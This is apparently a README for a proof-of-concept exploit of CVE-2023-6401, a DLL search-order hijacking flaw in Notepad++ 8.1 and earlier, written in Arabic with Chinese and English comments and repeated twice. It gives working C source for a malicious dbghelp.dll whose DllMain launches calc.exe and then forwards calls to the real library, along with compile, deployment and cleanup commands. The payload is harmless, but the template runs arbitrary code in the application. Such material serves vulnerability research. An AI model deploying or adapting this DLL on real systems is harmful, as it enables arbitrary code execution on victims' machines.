
CVE-2023-6401 هي ثغرة اختطاف مكتبات DLL (DLL hijacking) تتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية عبر وضع ملف `dbghelp.dll` خبيث في دليل التطبيق. يوضح هذا المشروع الثغرة ويوفّر إثبات مفهوم (PoC) قابلًا لإعادة الإنتاج.
⚠️ إشعار مهم: لأغراض البحث الأمني والتعليم فقط
إثبات مفهوم لثغرة اختطاف DLL في NotePad++ الإصدار 8.1 فما دون. يمكن تنفيذ تعليمات برمجية عشوائية عبر وضع dbghelp.dll خبيث في دليل التطبيق.
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
النتيجة المتوقعة: ظهور الآلة الحاسبة + عرض مربع رسالة + تشغيل NotePad++ بشكل طبيعي

| البند | التفاصيل |
|---|---|
| رقم CVE | CVE-2023-6401 |
| الإصدارات المتأثرة | NotePad++ ≤ 8.1 |
| نوع الثغرة | اختطاف DLL / اختطاف ترتيب البحث |
| الأثر | تنفيذ تعليمات برمجية عشوائية |
| المتطلبات المسبقة | صلاحية الكتابة في دليل التطبيق |
يقوم Windows بتحميل DLL بالترتيب التالي:
عند تشغيل NotePad++، يتم تحميل dbghelp.dll. ومن خلال وضع DLL خبيث بنفس الاسم في دليل التطبيق، يمكن تنفيذ تعليمات برمجية قبل تحميل DLL الخاص بالنظام.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
هذا المشروع مخصص للأغراض التعليمية والبحث الأمني فقط. يتحمل المستخدمون المسؤولية الكاملة عن الامتثال للقوانين واللوائح المعمول بها.
⚠️ إخلاء مسؤولية مهم: لأغراض البحث الأمني والتعليم فقط
إثبات مفهوم لثغرة اختطاف DLL في NotePad++ الإصدار 8.1 فما دون. تنفيذ تعليمات برمجية عشوائية بوضع dbghelp.dll خبيث في دليل التطبيق.
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
النتيجة المتوقعة: ظهور الآلة الحاسبة + عرض مربع رسالة + تشغيل NotePad++ بشكل طبيعي

| البند | التفاصيل |
|---|---|
| رقم CVE | CVE-2023-6401 |
| الإصدارات المتأثرة | NotePad++ ≤ 8.1 |
| نوع الثغرة | اختطاف DLL / اختطاف ترتيب البحث |
| الأثر | تنفيذ تعليمات برمجية عشوائية |
| المتطلبات المسبقة | صلاحية الكتابة في دليل التطبيق |
يقوم Windows بتحميل ملفات DLL بالترتيب التالي:
يقوم NotePad++ بتحميل dbghelp.dll عند بدء التشغيل. ومن خلال وضع DLL خبيث بنفس الاسم في دليل التطبيق، يمكن تنفيذ تعليمات برمجية قبل تحميل DLL النظام.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
هذا المشروع مخصص للأغراض التعليمية والبحث الأمني فقط. يتحمل المستخدمون المسؤولية الكاملة عن الامتثال للقوانين واللوائح المعمول بها.